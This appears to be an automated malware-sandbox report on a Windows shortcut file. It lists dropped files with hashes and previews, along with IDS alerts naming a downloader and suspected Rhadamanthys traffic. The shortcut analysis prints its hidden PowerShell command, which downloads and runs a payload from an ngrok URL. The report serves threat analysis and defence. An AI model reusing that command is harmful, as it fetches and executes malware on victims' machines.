Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\c2e207ed-3a15-4eee-83fc-90d8687bec45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\Downloads\1d633757-1fe8-4771-93ac-9a936f8b71b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	656088
Entropy (8bit):	7.994208869820549
Encrypted:	true
SSDEEP:	12288:r/TWRciaGbqp+t4v1TxPDt75QhxfR4/xFSnhfCsP10+:jTgc3Iq+0hxLt75Q6ZFShf/Pm+
MD5:	19E87DB70542A9FA556C1412E35FC300
SHA1:	B74FE6AB84969B938BF76E2A780546CFC727EAFB
SHA-256:	CF41E7881EC4A232F462EF0FC0E15C409619D18B3A8A84B49768268505AF80E3
SHA-512:	3983D20EF020BCAED0A3269CAE844B35BFCC99558820697517D4C9BDBD886D425A3236D08DB9194E816F0AACE2E6DDEFF0F95A693B4ED7FC3B91EBA018CEF440
Malicious:	false
Preview:	%PDF-1.7.%.....18 0 obj.<<./Length 293./N 3./Filter /FlateDecode.>>.stream.x.}..J......(.....28.h..iRpi"..V..S..A.OHS..tspu+....c(....#....AR.x.......@.....?..F..[V[..G@`...dK..$...O.K..o...@...6..`.O.,f'..O. .a.sx.0A..6..vf...8....{c7..%op..Z.:u.....Q.......0Q.F.........(.S....DGACAa..j.g.rx....]..s...PxM.......c...vhO.<..v....-X}...b3~.......mDJH.T~...K..endstream.endobj.19 0 obj.<<./Type /XObject./Subtype /Image./Width 2400./Height 1363./ColorSpace /DeviceRGB./BitsPerComponent 8./ColorTransform 0./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 45.>>]./Length 11488.>>.stream.x..}}p..y.}. ....:..4nA'`........I..e.....T].).E.!....&u..9.&k.0-.]A.......m...V.Lf.FP..!.4M..Q.......M......gw...=H....x.....o...........x&qj......F.3.}...O......}.?.......}.....~lq.-,}.g?....K......>......\_.....I..f.x.........G.....w....\:~9.\|.".h2.h..7..5.Hf.._B.K.....G...:A>..D.N......y........Sg.g....=..+..~.+.~...............N.wtl\|..O..O......CO........B.r...\|..

C:\Users\user\Downloads\Dokument analizy naruszeD praw autorskich.pdf (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	656088
Entropy (8bit):	7.994208869820549
Encrypted:	true
SSDEEP:	12288:r/TWRciaGbqp+t4v1TxPDt75QhxfR4/xFSnhfCsP10+:jTgc3Iq+0hxLt75Q6ZFShf/Pm+
MD5:	19E87DB70542A9FA556C1412E35FC300
SHA1:	B74FE6AB84969B938BF76E2A780546CFC727EAFB
SHA-256:	CF41E7881EC4A232F462EF0FC0E15C409619D18B3A8A84B49768268505AF80E3
SHA-512:	3983D20EF020BCAED0A3269CAE844B35BFCC99558820697517D4C9BDBD886D425A3236D08DB9194E816F0AACE2E6DDEFF0F95A693B4ED7FC3B91EBA018CEF440
Malicious:	false
Preview:	%PDF-1.7.%.....18 0 obj.<<./Length 293./N 3./Filter /FlateDecode.>>.stream.x.}..J......(.....28.h..iRpi"..V..S..A.OHS..tspu+....c(....#....AR.x.......@.....?..F..[V[..G@`...dK..$...O.K..o...@...6..`.O.,f'..O. .a.sx.0A..6..vf...8....{c7..%op..Z.:u.....Q.......0Q.F.........(.S....DGACAa..j.g.rx....]..s...PxM.......c...vhO.<..v....-X}...b3~.......mDJH.T~...K..endstream.endobj.19 0 obj.<<./Type /XObject./Subtype /Image./Width 2400./Height 1363./ColorSpace /DeviceRGB./BitsPerComponent 8./ColorTransform 0./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 45.>>]./Length 11488.>>.stream.x..}}p..y.}. ....:..4nA'`........I..e.....T].).E.!....&u..9.&k.0-.]A.......m...V.Lf.FP..!.4M..Q.......M......gw...=H....x.....o...........x&qj......F.3.}...O......}.?.......}.....~lq.-,}.g?....K......>......\_.....I..f.x.........G.....w....\:~9.\|.".h2.h..7..5.Hf.._B.K.....G...:A>..D.N......y........Sg.g....=..+..~.+.~...............N.wtl\|..O..O......CO........B.r...\|..

C:\Users\user\Downloads\Unconfirmed 664530.crdownload (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	656088
Entropy (8bit):	7.994208869820549
Encrypted:	true
SSDEEP:	12288:r/TWRciaGbqp+t4v1TxPDt75QhxfR4/xFSnhfCsP10+:jTgc3Iq+0hxLt75Q6ZFShf/Pm+
MD5:	19E87DB70542A9FA556C1412E35FC300
SHA1:	B74FE6AB84969B938BF76E2A780546CFC727EAFB
SHA-256:	CF41E7881EC4A232F462EF0FC0E15C409619D18B3A8A84B49768268505AF80E3
SHA-512:	3983D20EF020BCAED0A3269CAE844B35BFCC99558820697517D4C9BDBD886D425A3236D08DB9194E816F0AACE2E6DDEFF0F95A693B4ED7FC3B91EBA018CEF440
Malicious:	false
Preview:	%PDF-1.7.%.....18 0 obj.<<./Length 293./N 3./Filter /FlateDecode.>>.stream.x.}..J......(.....28.h..iRpi"..V..S..A.OHS..tspu+....c(....#....AR.x.......@.....?..F..[V[..G@`...dK..$...O.K..o...@...6..`.O.,f'..O. .a.sx.0A..6..vf...8....{c7..%op..Z.:u.....Q.......0Q.F.........(.S....DGACAa..j.g.rx....]..s...PxM.......c...vhO.<..v....-X}...b3~.......mDJH.T~...K..endstream.endobj.19 0 obj.<<./Type /XObject./Subtype /Image./Width 2400./Height 1363./ColorSpace /DeviceRGB./BitsPerComponent 8./ColorTransform 0./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 45.>>]./Length 11488.>>.stream.x..}}p..y.}. ....:..4nA'`........I..e.....T].).E.!....&u..9.&k.0-.]A.......m...V.Lf.FP..!.4M..Q.......M......gw...=H....x.....o...........x&qj......F.3.}...O......}.?.......}.....~lq.-,}.g?....K......>......\_.....I..f.x.........G.....w....\:~9.\|.".h2.h..7..5.Hf.._B.K.....G...:A>..D.N......y........Sg.g....=..+..~.+.~...............N.wtl\|..O..O......CO........B.r...\|..

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.422423888113838
Encrypted:	false
SSDEEP:	6144:ZSvfpi6ceLP/9skLmb0OTyWSPHaJG8nAgeMZMMhA2fX4WABlEnNU0uhiTw:QvloTyW+EZMM6DFym03w
MD5:	2E1AEF9168BC366B518724BDDA25CC6A
SHA1:	BCCBBC6C1A4CF8EB16F144BDC72D1C4971A3B8CD
SHA-256:	F9E90F8ABA2E858B3E8554E5A9EA72AFF2B6B728A8F0324F17D6C6BA72870DE7
SHA-512:	540A895E807145F4BE24F9DB7DAB22F5BCEC53C89A64DCCCB81852DD9F2FBFF4BA53672DD6B7FB71AA322E3242445A39F7870413AEB96CECDCB91B5FDDC56349
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmV.{.tP...............................................................................................................................................................................................................................................................................................................................................Ul.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Archive, ctime=Thu Nov 28 22:32:21 2024, mtime=Sun Dec 1 16:36:54 2024, atime=Thu Nov 28 22:32:21 2024, length=289792, window=hide
Entropy (8bit):	3.7312661105629648
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	0J3fAc6cHO.lnk
File size:	2'614 bytes
MD5:	d2d848346bc9a44be0141ba30c133cfc
SHA1:	646e74f17cc55e2d9631a2174adfd4d5b2e8412c
SHA256:	8cada476b5aafb44e1f9557552ca0dae8a174ef3aee47361b7b421d65d1df261
SHA512:	0aaa0d494865c2c1992d6d063ceeae9ae23033bbf508467e84c968d5d015680faf9078e1863cd18a99da98124d8186f9492661d06ff2c996d1c6f45953aabef5
SSDEEP:	48:8GIgax4PsU/ukWvvnBrhGd0lL4XuH4Xv3SsgoQYk:8fgaxEs2ukWvJVdl2uWvZg5Y
TLSH:	9151DF252AD81735F3F34E368AB7B2519E3AFD86AD224F1E415042880C62B15EC75F3B
File Content Preview:	L..................F.@.. ....Q...A.......D.......A...l......................5....P.O. .:i.....+00.../C:\...................V.1......Y'...Windows.@........OwH.Y(...........................-...W.i.n.d.o.w.s.....Z.1......Y)...System32..B........OwH.YI.......

File Icon


Icon Hash:	72d282828e8d8dd5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\cmd.exe
Command Line Argument:	/c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T12:12:20.692387+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49709	162.125.69.18	443	TCP
2024-12-17T12:12:36.888601+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49803	162.125.67.18	443	TCP
2024-12-17T12:13:40.739507+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	104.161.43.18	2845	192.168.2.5	49976	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 12:11:56.151653051 CET	49674	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:11:56.370383024 CET	49675	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:11:56.370527983 CET	49673	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:01.701992035 CET	49704	443	192.168.2.5	3.125.209.94
Dec 17, 2024 12:12:01.702039957 CET	443	49704	3.125.209.94	192.168.2.5
Dec 17, 2024 12:12:01.702106953 CET	49704	443	192.168.2.5	3.125.209.94
